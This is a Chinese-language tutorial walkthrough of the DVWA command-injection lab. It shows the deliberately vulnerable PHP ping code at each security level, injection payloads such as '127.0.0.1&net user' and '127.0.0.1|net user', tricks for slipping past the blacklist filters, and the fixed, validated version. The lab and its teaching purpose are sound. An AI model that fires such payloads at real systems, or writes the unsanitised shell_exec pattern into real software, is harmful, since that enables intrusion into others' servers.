Command injection 指令注入,是指通過送出惡意構造的參數破壞指令語句結構,進而達到執行惡意指令的目的。PHP指令注入攻擊漏洞是PHP應用程式中常見的腳本漏洞之一,國内著名的Web應用程式Discuz!、DedeCMS等都曾經存在過該類型漏洞。

Low
先上一下源代碼!
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
執行127.0.0.1&&net user
執行127.0.0.1&&net user&&ver指令
執行127.0.0.1&&net user&&getmac
Medium級别
源代碼如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可以看到,相比Low級别的代碼,伺服器端對ip參數做了一定過濾,即把”&&” 、”;”删除,本質上采用的是黑名單機制,是以依舊存在安全問題。
127.0.0.1&net user
因為被過濾的隻有”&&”與” ;”,是以”&”不會受影響。
這裡需要注意的是”&&”與” &”的差別:
Command 1&&Command 2
先執行Command 1,執行成功後執行Command 2,否則不執行Command 2
Command 1&Command 2
先執行Command 1,不管是否成功,都會執行Command 2
執行以下指令可以看到系統的使用者,服務,系統資訊
127.0.0.1&net user&sc query&systeminfo
由于使用的是str_replace把”&&” 、”;”替換為空字元,是以可以采用以下方式繞過:
127.0.0.1&;&ipconfig
high級别
源代碼如下
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比Medium級别的代碼,High級别的代碼進一步完善了黑名單,但由于黑名單機制的局限性,我們依然可以繞過
黑名單看似過濾了所有的非法字元,但仔細觀察到是把”| ”(注意這裡|後有一個空格)替換為空字元,于是 ”|”成了“漏網之魚”。
127.0.0.1|net user
Impossible級别
漏下代碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
這裡加入了CSRF令牌環機制,同時對參數ip進行了嚴格的限制,隻有諸如“數字.數字.數字.數字”的輸入才會被接收執行,是以不存在指令注入漏洞。
參考
https://www.freebuf.com/articles/web/116714.html